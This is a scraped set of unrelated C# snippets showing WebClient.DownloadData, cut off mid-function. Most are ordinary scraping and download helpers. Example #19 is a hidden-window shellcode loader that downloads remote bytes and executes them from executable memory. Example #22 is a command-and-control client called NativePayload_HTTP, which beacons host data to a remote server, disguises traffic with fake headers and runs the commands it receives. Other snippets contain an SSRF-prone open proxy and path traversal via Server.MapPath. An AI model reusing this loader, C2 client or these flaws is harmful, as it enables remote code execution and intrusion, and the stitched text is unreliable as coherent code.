private static List<string> recentList()
    {
        WebClient c = new WebClient();
        c.Headers.Add(@"User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
        var Settings = ExtensionManager.GetSettings("AudioStream");

        var stream = Settings.GetSingleValue("HighStream");
        if (!stream.ToLower().StartsWith("http")) stream = @"http://"+stream;
        if (!stream.EndsWith("/")) stream += "/";
        var a = c.DownloadData(stream+"played.html");

        var s = Encoding.GetEncoding(1252).GetString(a);
        var stringa = new string[] { @"<br><table border=0 cellpadding=2 cellspacing=2><tr><td>Played @</td><td><b>Song Title</b></td></tr><tr>" };

        var stuff = s.Split(stringa, StringSplitOptions.RemoveEmptyEntries)[1];
        var aftertd = stuff.Split(new string[] { @"</td><td>" }, StringSplitOptions.RemoveEmptyEntries);

        var lijstje = new List<string>();
        var nowplaying = aftertd[1].Split(new String[] { @"<td><b" }, StringSplitOptions.RemoveEmptyEntries)[0];
        lijstje.Add(nowplaying);
        for (int i = 2; i < aftertd.Length; i++)
        {
            lijstje.Add(aftertd[i].Split(new string[] { @"</tr>" }, StringSplitOptions.RemoveEmptyEntries)[0]);
        }
        return lijstje;
    }
Example #2
0
    protected override void OnPreRender(EventArgs e)
    {
        //throw new Exception(shTwiX.shFunctions.decryptBase64Url(Request.QueryString[0]));
        Response.Clear();
        Response.ContentType = "image/jpeg";
        WebClient webclient = new WebClient();
        webclient.Headers.Clear();
        webclient.Headers.Add("Accept: image/jpeg, application/x-ms-application, image/gif, image/png, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*");
        //webclient.Headers.Add("Accept-Encoding: gzip, deflate");
        webclient.Headers.Add("User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)");

        byte[] data = webclient.DownloadData(DES.Decrypt(shTwiX.shFunctions.decryptBase64Url(Request.QueryString[0]), shTwiX.shFunctions.key));
        do
        {
        } while (webclient.IsBusy);
        ImageConverter imageConverter = new System.Drawing.ImageConverter();
        try
        {
            System.Drawing.Image image = (System.Drawing.Image)imageConverter.ConvertFrom(data);
            image.Save(Response.OutputStream, System.Drawing.Imaging.ImageFormat.Jpeg);
        }
        catch
        {
            Response.Write(data.Length.ToString() + "<br/>" + Request.QueryString[0]);
        }
    }
    /// <summary>
    /// Get a list of newest YouTube videos for a given user.
    /// </summary>
    /// <param name="username">Username to get videos from.</param>
    /// <param name="includeDescription">Whether or not to include description. Warning: This requires an extra request to YouTube pr. video!</param>
    /// <returns>A list of YouTube videos.</returns>
    public static List<YouTubeVideo> GetFromUser(string username, bool includeDescription = false)
    {
        var url = string.Format("https://www.youtube.com/user/{0}/videos", username);
        var list = new List<YouTubeVideo>();
        var webClient = new WebClient();
        var source = string.Empty;

        try {
            var bytes = webClient.DownloadData(url);
            source = Encoding.UTF8.GetString(bytes);
        }
        catch { }

        if (string.IsNullOrEmpty(source))
            return list;

        var sp = source.IndexOf("/watch?v=", StringComparison.InvariantCultureIgnoreCase);

        while (sp > -1) {
            var video = parseSource(ref list, ref source, sp);

            if (video != null) {
                if (includeDescription)
                    getVideoDescription(ref video);

                list.Add(video);
            }

            source = source.Substring(sp + 3000);
            sp = source.IndexOf("/watch?v=", StringComparison.InvariantCultureIgnoreCase);
        }

        return list;
    }
 public static byte[] DownloadData(this Uri uri)
 {
     if (uri == null)
         return null;
     WebClient client = new WebClient();
     return client.DownloadData(uri);
 }
    /// <summary>
    /// Retrieve the URL that the client should redirect the user to to perform the OAuth authorization
    /// </summary>
    /// <param name="provider"></param>
    /// <returns></returns>
    protected override string GetAuthorizationUrl(String callbackUrl)
    {
        OAuthBase auth = new OAuthBase();
        String requestUrl = provider.Host + provider.RequestTokenUrl;
        Uri url = new Uri(requestUrl);
        String requestParams = "";
        String signature = auth.GenerateSignature(url, provider.ClientId, provider.Secret, null, null, provider.RequestTokenMethod ?? "POST",
            auth.GenerateTimeStamp(), auth.GenerateTimeStamp() + auth.GenerateNonce(), out requestUrl, out requestParams,
            new OAuthBase.QueryParameter(OAuthBase.OAuthCallbackKey, auth.UrlEncode(callbackUrl)));
        requestParams += "&oauth_signature=" + HttpUtility.UrlEncode(signature);
        WebClient webClient = new WebClient();
        byte[] response;
        if (provider.RequestTokenMethod == "POST" || provider.RequestTokenMethod == null)
        {
            response = webClient.UploadData(url, Encoding.ASCII.GetBytes(requestParams));
        }
        else
        {
            response = webClient.DownloadData(url + "?" + requestParams);
        }
        Match m = Regex.Match(Encoding.ASCII.GetString(response), "oauth_token=(.*?)&oauth_token_secret=(.*?)&oauth_callback_confirmed=true");
        String requestToken = m.Groups[1].Value;
        String requestTokenSecret = m.Groups[2].Value;
        // we need a way to save the request token & secret, so that we can use it to get the access token later (when they enter the pin)
        // just stick it in the session for now
        HttpContext.Current.Session[OAUTH1_REQUEST_TOKEN_SESSIONKEY] = requestToken;
        HttpContext.Current.Session[OAUTH1_REQUEST_TOKEN_SECRET_SESSIONKEY] = requestTokenSecret;

        return provider.Host + provider.UserApprovalUrl + "?oauth_token=" + HttpUtility.UrlEncode(requestToken);
    }
 public void ProcessRequest(HttpContext context) {
     context.Response.ContentType = "application/json";
     using (WebClient client = new WebClient())  
     {
         client.Encoding = Encoding.UTF8;
         context.Response.BinaryWrite(client.DownloadData(context.Request.QueryString["url"]));
     }
 }
    public override TransitPicture GetPictureWithBitmap(int id)
    {
        string url = Request["Src"];

        if (string.IsNullOrEmpty(url))
        {
            throw new Exception("Invalid url.");
        }

        string key = string.Format("AccountFeedItemPicture:{0}", url.GetHashCode());
        TransitPicture result = (TransitPicture) Cache[key];

        if (result != null)
            return result;

        // fetch the image to get its size
        WebClient client = new WebClient();
        client.Headers["Accept"] = "*/*";
        client.Headers["User-Agent"] = SessionManager.GetCachedConfiguration("SnCore.Web.UserAgent", "SnCore/1.0");
        result = new TransitPicture();
        result.Name = url;

        try
        {
            byte[] data = client.DownloadData(url);

            if (data == null)
            {
                throw new Exception("Missing file data.");
            }

            result.Bitmap = new ThumbnailBitmap(new MemoryStream(data), new Size(0, 0), 
                ThumbnailBitmap.s_FullSize, ThumbnailBitmap.s_ThumbnailSize).Bitmap;

            string created = (string)client.ResponseHeaders["Created"];
            if (string.IsNullOrEmpty(created)) created = (string)client.ResponseHeaders["Date"];
            if (string.IsNullOrEmpty(created) || !DateTime.TryParse(created, out result.Created))
                result.Created = DateTime.Now;

            string modified = (string)client.ResponseHeaders["Modified"];
            if (string.IsNullOrEmpty(modified) || !DateTime.TryParse(modified, out result.Modified))
                result.Modified = DateTime.Now;
        }
        catch(Exception ex)
        {
            string message = string.Format("This image cannot be displayed.\n{0}\n{1}",
                ex.Message, url);
            result.Bitmap = ThumbnailBitmap.GetBitmapDataFromText(message, 8, 0, 0);
            result.Modified = result.Created = DateTime.Now;
        }

        Cache.Insert(key, result, null, Cache.NoAbsoluteExpiration,
            SessionManager.DefaultCacheTimeSpan);

        return result;
    }
Example #8
0
	/// <summary>
	/// Downloads a file as an array of bytes.
	/// </summary>
	/// <param name="address">File URL</param>
	/// <param name="cancellationToken">Optional cancellation token</param>
	public static Task<byte[]> DownloadAsBytesAsync(string address, CancellationToken cancellationToken = new CancellationToken())
	{
		return Task.Factory.StartNew(
			delegate
			{
				using (var webClient = new WebClient())
				{
					return webClient.DownloadData(address);
				}
			}, cancellationToken);
	}
    protected void Page_Load(object sender, EventArgs e)
    {
        string strIcon = Request.QueryString["Icon"].ToString();

        //Get Icon from Centrify
        WebClient wc = new WebClient();
        wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.CacheIfAvailable);
        wc.Headers.Add("Authorization", "Bearer " + Session["ASPXAUTH"].ToString());
        byte[] bytes = wc.DownloadData(Session["NewPodURL"].ToString() + strIcon);
        Response.ContentType = "image/jpg";
        Response.BinaryWrite(bytes);
    }
Example #10
0
 public static Task<byte[]> DownloadAsBytesAsync(string address)
 {
     var task = new Task<byte[]>(
         () =>
         {
             using (var webClient = new WebClient())
             {
                 return webClient.DownloadData(address);
             }
         });
     task.Start(TaskScheduler.Default);
     return task;
 }
Example #11
0
    public static int GetLatestVersion()
    {
        //let us screenscrape the Google Site.
        WebClient wc = new WebClient ();
        byte [] pageData = wc.DownloadData ("http://code.google.com/p/skimpt");
        string pageHtml = System.Text.Encoding.ASCII.GetString(pageData);

        string ver;
        ver = pageHtml.Substring (pageHtml.IndexOf ("!!ver:"));
        ver = ver.Substring (6);
        ver = ver.Remove(ver.IndexOf("!!"));
     
        return Convert.ToInt32(ver);
    }
Example #12
0
    public static string Check_function_Fund_price(string stock_idX)
    {
        string stock_id = stock_idX;

        // 下載 Yahoo 奇摩股市資料 (範例為 2317 鴻海)
        WebClient client = new WebClient();
        MemoryStream ms = new MemoryStream(client.DownloadData(
        "http://tw.money.yahoo.com/currency_foreign2bank?currency=USD" + stock_id + ""));

        //        MemoryStream ms = new MemoryStream(client.DownloadData(
        //"http://tw.stock.yahoo.com/q/q?s=" + stock_id + ""));

        // 使用預設編碼讀入 HTML
        HtmlDocument doc = new HtmlDocument();
        doc.Load(ms, Encoding.UTF8);
        HtmlDocument docStockContext = new HtmlDocument();
        // 裝載第一層查詢結果

        docStockContext.LoadHtml(doc.DocumentNode.SelectSingleNode(
        "/html[1]/body[1]/div[1]/div[2]/div[2]/div[1]/div[1]/div[2]/div[2]/table[1]").InnerHtml);

        // 取得個股標頭
        HtmlNodeCollection nodeHeaders =
         docStockContext.DocumentNode.SelectNodes("./tr[1]/td");
        // 取得個股數值
        string[] values = docStockContext.DocumentNode.SelectSingleNode(
        "./tr[3]").InnerText.Trim().Split('\n');

        // 輸出資料

        string[] title ={ "金融機構", "現金賣出", "現金買進" };
        for (int i = 0; i <= values.Length - 2; i++)
        {
            //Response.Write("Header:" + title[i] + values[i].ToString().Replace("加到投資組合", "") + "<br>");
        }
        string[] abc ={ "", "","" };
        abc[0] = values[0].Trim();
        abc[1] = values[1].Trim(); //stock_price
        abc[2] = values[2].Trim();//stock_name

        //Double last_price = System.Convert.ToDouble(abc);

        doc = null;
        docStockContext = null;
        client = null;
        ms.Close();

        return abc[0] + "," + abc[1]+","+abc[2];
    }
 static void Main()
 {
     try
     {
         string path = @"C:\Documents and Settings\Rami\My Documents\Visual Studio 2010\Projects\ExceptionHandling\Zadacha13\bin\Debug\logo.jpg";
         WebClient client = new WebClient();
         BinaryWriter writer = new BinaryWriter(File.Open(path, FileMode.Create));
         using (client)
         {
             byte[] arr = client.DownloadData("http://www.devbg.org/img/Logo-BASD.jpg");
             using (writer)
             {
                 foreach (var item in arr)
                 {
                     writer.Write(item);
                 }
             }
         }
     }
     catch (WebException e)
     {
         Console.WriteLine(e);
         throw;
     }
     catch (UriFormatException e)
     {
         Console.WriteLine(e);
         throw;
     }
     catch (FileLoadException e)
     {
         Console.WriteLine(e);
         throw;
     }
     catch (FileNotFoundException e)
     {
         Console.WriteLine(e);
         throw;
     }
     catch (FieldAccessException e)
     {
         Console.WriteLine(e);
         throw;
     }
 }
 public static string CheckConnect()
 {
     string msg = "";
     WebClient client = new WebClient();
     byte[] datasize = null;
     try
     {
         datasize = client.DownloadData("http://www.google.com");
     }
     catch (Exception ex)
     {
     }
     if (datasize != null && datasize.Length > 0)
         msg = "Internet Connection Available.";
     else
         msg = "Internet Connection Not Available.";
     return msg;
 }
Example #15
0
    protected void lnkbtnBrocher_Click(object sender, EventArgs e)
    {
        // Response.ContentType = "Application/pdf";
        //  Response.TransmitFile("~/brocher/brocher.pdf");

        try
        {
            string pdfPath = Server.MapPath("~/brochure/brochure.pdf");
            WebClient client = new WebClient();
            Byte[] buffer = client.DownloadData(pdfPath);
            Response.ContentType = "application/pdf";
            Response.AddHeader("content-length", buffer.Length.ToString());
            Response.BinaryWrite(buffer);
        }
        catch (Exception ex)
        {
            Response.Write(ex.Message);
        }
    }
Example #16
0
 protected void Button2_Click(object sender, EventArgs e)
 {
     try
     {
        // string strURL = "E:\\Web Programming Language\\Resume Repository\\"+userId+"-Resume";
         WebClient req = new WebClient();
         HttpResponse response = HttpContext.Current.Response;
         response.Clear();
         response.ClearContent();
         response.ClearHeaders();
         response.Buffer = true;
         response.AddHeader("Content-Disposition", "attachment;filename=\"" + fileName + "\"");
         byte[] data = req.DownloadData(Server.MapPath(fileName));
         response.BinaryWrite(data);
         response.End();
     }
     catch (Exception ex)
     {
     }
 }
    protected void m_grv_dm_bill_RowCommand(object sender, GridViewCommandEventArgs e)
    {
        if (e.CommandArgument.ToString().Equals("")) return;
        decimal v_dc_id_van_thu = CIPConvert.ToDecimal(e.CommandArgument);
        US_GD_VAN_THU v_us = new US_GD_VAN_THU(v_dc_id_van_thu);
        if (v_us.strLINK_SCAN.Equals("")) return;
        if (e.CommandName == "TaiFile")
        {
            BCTKApp.App_Code.HelpUtils.Download(Server.MapPath("~") + "\\PdfScan", v_us.strLINK_SCAN.Replace("210.245.89.37/FileUpload_Vanthu/", ""));
            string v_str_file_save = Server.MapPath("~") + "\\PdfScan\\" + v_us.strLINK_SCAN.Replace("210.245.89.37/FileUpload_Vanthu/", "");
            WebClient User = new WebClient();
            Byte[] FileBuffer = User.DownloadData(v_str_file_save);
            if (FileBuffer != null)
            {
                Response.ContentType = "application/pdf";
                Response.AddHeader("content-length", FileBuffer.Length.ToString());
                Response.BinaryWrite(FileBuffer);

            }
        }
    }
 protected void uxResumeDownloadButton_Click(object sender, EventArgs e)
 {
     try
     {
         string strURL = uxResumeTextbox.Text;
         WebClient req = new WebClient();
         HttpResponse response = HttpContext.Current.Response;
         response.Clear();
         response.ClearContent();
         response.ClearHeaders();
         response.Buffer = true;
         response.AddHeader("", "attachment;filename=\"" + Server.MapPath(strURL) + "\"");
         byte[] data = req.DownloadData(Server.MapPath(strURL));
         response.BinaryWrite(data);
         response.End();
     }
     catch (Exception ex)
     {
         ScriptManager.RegisterClientScriptBlock(this, this.GetType(), "alertMessage", ex.ToString(), true);
     }
 }
Example #19
0
    public static void Exec(string url)
    {
        IntPtr handle = GetConsoleWindow();
        ShowWindow(handle, 0); //Hides Process Window

        WebClient wc = new WebClient();
        wc.Headers.Add("user-agent", "User-Agent DFIR ");
        byte[] shellcode = wc.DownloadData(url);

        UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode.Length);
        IntPtr hThread = IntPtr.Zero;
        UInt32 threadId = 0;
        // prepare data

        IntPtr pinfo = IntPtr.Zero;

        // execute native code

        hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
    /// <summary>
    /// Gets the description of a video from the YouTube DOM.
    /// </summary>
    /// <param name="video">Video to get description from.</param>
    private static void getVideoDescription(ref YouTubeVideo video)
    {
        var url = string.Format("https://www.youtube.com/watch?v={0}", video.Code);
        var webClient = new WebClient();
        var source = string.Empty;

        try {
            var bytes = webClient.DownloadData(url);
            source = Encoding.UTF8.GetString(bytes);
        }
        catch { }

        var sp = source.IndexOf("id=\"eow-description\"", StringComparison.InvariantCultureIgnoreCase);

        if (sp == -1)
            return;

        var description = source.Substring(sp);

        description = description.Substring(description.IndexOf(">", StringComparison.InvariantCultureIgnoreCase) + 1);
        description = description.Substring(0, description.IndexOf("<", StringComparison.InvariantCultureIgnoreCase));

        video.Description = description;
    }
 public CoverData GetCoverImage(MangaInfo MangaInfo)
 {
     CoverData _Cover = new CoverData();
     String PageHTML,
         FileLocation,
         CoverRegex = @"(?<File>http://s\d\.mangapanda\.com/cover/(?<Name>[\w-]+)/(?<FileName>[\w-]+l\d+?)(?<Extention>\.[\w]{3,4}))";
     using (WebClient GWC = new WebClient())
     {
         GWC.Encoding = Encoding.UTF8;
         PageHTML = GWC.DownloadString(MangaInfo.InfoPage);
         Match coverMatch = Regex.Match(PageHTML, CoverRegex);
         if (coverMatch.Success)
         {
             FileLocation = coverMatch.Groups["File"].Value;
             _Cover.CoverName = coverMatch.Groups["FileName"].Value;
             Stream tmpImage = new MemoryStream(GWC.DownloadData(FileLocation));
             tmpImage.Position = 0;
             _Cover.CoverStream = new MemoryStream();
             tmpImage.CopyTo(_Cover.CoverStream);
             tmpImage.Close();
         }
     }
     return _Cover;
 }
Example #22
0
        static void Main(string[] args)
        {
            Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.DarkGray;
            Console.WriteLine("NativePayload_HTTP v1.1 , Published by Damon Mohammadbagher , Jan 2019");
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("DATA/Commands Exfiltration via HTTP traffic by Simple Web Requests , (Client Side only)");
            Console.WriteLine();

            if (args[0].ToUpper() == "-DUMPCMD")
            {
                Console.ForegroundColor = ConsoleColor.Gray;
                Console.WriteLine("DATA/Commands Exfiltration Started (Client Side)");
                Console.WriteLine("Connecting.Server:[" + args[1] + ":" + args[2] + "]");
                Console.WriteLine();

                string Command1 = "";
                string Command2 = "";
                string FirstIP = "";
                Random mydelayII, mydelayI, mydelay;
                string OS = "";
                // IPHostEntry IPv4s;
                // IPAddress[] AllIPs;
                string    FirstIP_B64Encode;
                byte[]    B64encodebytes;
                byte[]    MakeB64;
                string    ConvertoBytes;
                string    temp;
                string    rev;
                char[]    Chars;
                string    output = "";
                string    temp_rev = "";
                int       j, i2, i3;
                int       d;
                string    CMDTime1 = "";
                string    CMDTime2 = "";
                string    tmpcmd   = "";
                bool      Clientside_Rnd_Base64_is_onoff = false;
                string    _B64Encode              = "";
                string    _Targethost             = "";
                string    CMDB64_v1               = "";
                string    B64_v1                  = "";
                string    FakeHeader_onoff_status = "xheader-off";
                string    FakeHeaderMode          = "";
                string    FakeHeaderModetmp       = "";
                string    RefreshedPageDetection;
                string    Delay   = "0";
                int       _delay  = 0;;
                WebClient request = new WebClient();
                byte[]    dumpedhtmls;
                bool      init = false;
                string    DelaytempIPv4, Delaytemp;
                string    IPv4 = Dns.GetHostEntry(Dns.GetHostName()).AddressList.First(x => x.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork).ToString();

                // Console.Write("Please enter your local IPv4 Address:");
                // string IPv4 = Console.ReadLine();

                while (true)
                {
                    mydelay = new Random();
                    d       = mydelay.Next(10000, 60000);
                    if (Delay != "0" && Delay != "" && Delay != ";D")
                    {
                        _delay = Convert.ToInt32(Delay); d = _delay * 1000;
                    }

                    Console.ForegroundColor = ConsoleColor.Gray;
                    Console.WriteLine("[!]:CMD:Checking.Server.[" + args[1] + "]::SendbyHttp:Signal.Delay.Random:[" + d.ToString() + "]:Started [" + DateTime.Now.ToString() + "]");

                    OS = "Win:" + System.Environment.OSVersion.Version.ToString();
                    // IPv4s = Dns.GetHostEntry("127.0.0.1");
                    // AllIPs = IPv4s.AddressList;
                    // FirstIP = OS + " " + AllIPs[1].ToString() + " ";
                    FirstIP = OS + " " + IPv4 + " ";


                    B64encodebytes    = UTF8Encoding.ASCII.GetBytes(FirstIP);
                    FirstIP_B64Encode = Convert.ToBase64String(B64encodebytes);

                    MakeB64       = System.Text.Encoding.ASCII.GetBytes(FirstIP_B64Encode);
                    ConvertoBytes = BitConverter.ToString(MakeB64);

                    temp = "";
                    foreach (var item in ConvertoBytes)
                    {
                        if (item.ToString() != "-")
                        {
                            temp += item;
                        }
                    }

                    ConvertoBytes = temp;
                    rev           = "";
                    Chars         = ConvertoBytes.ToCharArray();
                    //Thread.Sleep(1000);
                    for (int i = Chars.Length - 1; i > -1; i--)
                    {
                        rev += Chars[i];
                    }
                    try
                    {
                        if (!init)
                        {
                            output = DumpHtml("http://" + args[1] + "/default.aspx?Session=a0" + rev);
                            Thread.Sleep(d);
                            output = DumpHtml("http://" + args[1] + "/getcmd.aspx?logoff=command");
                        }

                        if (FakeHeader_onoff_status.ToLower() == "xheader-on")
                        {
                            if (FakeHeaderMode.ToUpper() == "REFERER")
                            {
                                /// FakeHeader mode [on] payload injection via [referer]
                                request = new WebClient();

                                request.Headers.Add(HttpRequestHeader.Referer, "https://www.google.com/search?ei=bsZAXPSqD&Session=a0" + rev + "&q=d37X3d3PS&oq=a0d3d377b&gs_l=psy-ab.3.........0....1..gws-wiz.IW6_Q");
                                request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                                request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
                                request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");

                                request.DownloadData("http://" + args[1] + "/default.aspx");
                                request.Dispose();


                                Thread.Sleep(d);

                                request = new WebClient();
                                request.Headers.Add(HttpRequestHeader.Referer, "https://www.google.com/search?ei=bsZAXPSqD&logoff=command" + "&q=d37X3d3PS&oq=a0d3d377b&gs_l=psy-ab.3.........0....1..gws-wiz.IW6_Q");
                                request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                                request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
                                request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");

                                dumpedhtmls = request.DownloadData("http://" + args[1] + "/getcmd.aspx");
                                request.Dispose();
                                output = Encoding.ASCII.GetString(dumpedhtmls);
                            }
                            else if (FakeHeaderMode.ToUpper() == "COOKIES")
                            {
                                /// FakeHeader mode [on] payload injection via [cookies]

                                request = new WebClient();
                                request.Headers.Add(HttpRequestHeader.Referer, @"https://www.bing.com");

                                request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                                request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
                                request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");
                                request.Headers.Add(HttpRequestHeader.Cookie, "viewtype=Default; UniqueIDs=Session=a0" + rev + "&0011");

                                dumpedhtmls = request.DownloadData("http://" + args[1] + "/default.aspx");
                                request.Dispose();
                                output = Encoding.ASCII.GetString(dumpedhtmls);

                                Thread.Sleep(d);

                                request = new WebClient();
                                request.Headers.Add(HttpRequestHeader.Referer, @"https://www.bing.com");

                                request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                                request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
                                request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");
                                request.Headers.Add(HttpRequestHeader.Cookie, "viewtype=Default; UniqueIDs=logoff=command" + "&0011");

                                dumpedhtmls = request.DownloadData("http://" + args[1] + "/getcmd.aspx");
                                request.Dispose();
                                output = Encoding.ASCII.GetString(dumpedhtmls);
                            }
                            else if (FakeHeaderMode.ToUpper() == "")
                            {
                                /// FakeHeader mode [on] only

                                request = new WebClient();

                                request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                                request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
                                request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");

                                dumpedhtmls = request.DownloadData("http://" + args[1] + "/default.aspx?Session=a0" + rev);
                                request.Dispose();
                                output = Encoding.ASCII.GetString(dumpedhtmls);

                                Thread.Sleep(d);
                                request = new WebClient();

                                request.Headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                                request.Headers.Add(HttpRequestHeader.AcceptLanguage, "en-US;q=0.8,en;q=0.6");
                                request.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0");

                                dumpedhtmls = request.DownloadData("http://" + args[1] + "/getcmd.aspx?logoff=command");
                                request.Dispose();
                                output = Encoding.ASCII.GetString(dumpedhtmls);
                            }
                        }
                        if (FakeHeader_onoff_status.ToLower() == "xheader-off" && init == true)
                        {
                            output = DumpHtml("http://" + args[1] + "/default.aspx?Session=a0" + rev);
                            Thread.Sleep(d);
                            output = DumpHtml("http://" + args[1] + "/getcmd.aspx?logoff=command");
                        }
                        //// < span id = "myTimeLabel2"  style = "color:red; visibility:hidden" > 192.168.56.102[[14 - 02 - 2019.07 - 34 - 26]] xheader - off ZWNobyB0ZXN0Cg ==,0 0 ,0 </ span >
                        //// < span id = "myTimeLabel_PivotServerCMD"  style = "color:red; visibility:hidden" ></ span >
                        //// < span id = "myTimeLabel_PivotClient"  style = "color:red; visibility:hidden" ></ span >
                        //// < span id = "myTimeLabel7"  style = "color:red; visibility:hidden" > </ span >
                        //// < span id = "myTimeLabel_TargetHost"  style = "color:red; visibility:hidden" > 192.168.56.102 </ span >
                        //// < span id = "myTimeLabel_Time"  style = "color:red; visibility:hidden" >[[14 - 02 - 2019.07 - 34 - 26]]</ span >
                        //// < span id = "myTimeLabel_FakeheaderStatus"  style = "color:red; visibility:hidden" > xheader - off </ span >
                        //// < span id = "myTimeLabel_CMD"  style="color:red; visibility:hidden" >ZWNobyB0ZXN0Cg==</span>
                        //// < span id = "myTimeLabel_Base64Status"  style = "color:red; visibility:hidden" >,0 </ span >
                        //// < span id = "myTimeLabel_Delay"  style = "color:red; visibility:hidden" > 0 </ span >
                        //// < span id = "myTimeLabel_FakeHeaderMode"  style = "color:red; visibility:hidden" >,0 </ span >
                        //// < span id = "myTimeLabel8"  style = "color:red; visibility:hidden" > </ span >

                        File.Delete("output.txt");
                        File.AppendAllText("output.txt", output);
                        var _OUTPUT = File.ReadAllLines("output.txt");

                        /// Detecting delay for this client
                        //Delay = tempdelay;
                        //temp = AllIPs[1].ToString();
                        temp        = IPv4;
                        _Targethost = _DetectingHTMLValues(_OUTPUT, "myTimeLabel_TargetHost");
                        if (_Targethost.Contains(temp))
                        {
                            Delaytemp     = _DetectingHTMLValues(_OUTPUT, "myTimeLabel_Delay");
                            DelaytempIPv4 = Delaytemp.Split('|')[0];
                            if (DelaytempIPv4.Contains(temp))
                            {
                                Delay = Delaytemp.Split('|')[1];
                            }
                        }

                        /// Detecting refreshed page
                        RefreshedPageDetection = _DetectingHTMLValues(_OUTPUT, "myTimeLabelx");
                        if (RefreshedPageDetection != "")
                        {
                            Command1 = Command2; CMDTime1 = CMDTime2;
                            RefreshedPageDetection = "";
                        }

                        /// Detecting FakeheaderStatus is on/off?
                        FakeHeader_onoff_status = _DetectingHTMLValues(_OUTPUT, "myTimeLabel_FakeheaderStatus");
                        if (FakeHeader_onoff_status == ";D")
                        {
                            FakeHeader_onoff_status = "xheader-off";
                        }

                        /// Detecting FakeheaderMode is 0,1,2?
                        FakeHeaderModetmp = _DetectingHTMLValues(_OUTPUT, "myTimeLabel_FakeHeaderMode");
                        if (FakeHeaderModetmp.Contains(",1"))
                        {
                            FakeHeaderMode = "REFERER";
                        }
                        if (FakeHeaderModetmp.Contains(",2"))
                        {
                            FakeHeaderMode = "COOKIES";
                        }
                        if (FakeHeaderModetmp.Contains(",0"))
                        {
                            FakeHeaderMode = "";
                        }

                        /// Detecting CMD
                        CMDB64_v1 = _DetectingHTMLValues(_OUTPUT, "myTimeLabel_CMD");
                        var CMDB64 = Convert.FromBase64String(CMDB64_v1);
                        Command1 = System.Text.Encoding.ASCII.GetString(CMDB64);
                        Command1 = Command1.Substring(0, Command1.Length - 1);

                        /// checking Base64 is on/off?
                        B64_v1 = _DetectingHTMLValues(_OUTPUT, "myTimeLabel_Base64Status");
                        if (B64_v1.Contains(",1"))
                        {
                            Clientside_Rnd_Base64_is_onoff = true;
                        }
                        else
                        {
                            Clientside_Rnd_Base64_is_onoff = false;
                        }

                        /// Detecting Time
                        CMDTime1 = _DetectingHTMLValues(_OUTPUT, "myTimeLabel_Time");


                        if (Command1 == "init")
                        {
                            Command1 = Command2; CMDTime1 = CMDTime2;
                        }
                        //temp = AllIPs[1].ToString();
                        temp = IPv4;
                        /// if your IPv4 Detected in cmd
                        /// Detecting your IPV4 [Target-Host]
                        _Targethost = _DetectingHTMLValues(_OUTPUT, "myTimeLabel_TargetHost");

                        if (_Targethost.Contains(temp))
                        {
                            if (Command1.ToLower() == "shutdown")
                            {
                            }
                            if (Command1.ToLower() == "exit")
                            {
                            }

                            /// time to execute CMD shell
                            if (Command1 != Command2 || CMDTime1 != CMDTime2)
                            {
                                tmpcmd = Command1;
                                System.Threading.Thread.Sleep(1000);
                                Console.WriteLine("[!]:CMD:Checking.Command.[" + tmpcmd + "]:Detected");

                                mydelayI = new Random();
                                d        = mydelayI.Next(1000, 9000);
                                Thread.Sleep(d);

                                Console.ForegroundColor = ConsoleColor.Gray;
                                Console.WriteLine("[!]:CMD:[" + tmpcmd + "].Sending.Cmd.output::SendbyHttp::Delay:[" + d.ToString() + "]:Started [" + DateTime.Now.ToString() + "]");
                                try
                                {
                                    temp = _CMDshell(Command1, IPv4);


                                    /// BASE64 is "On" by Server
                                    if (Clientside_Rnd_Base64_is_onoff)
                                    {
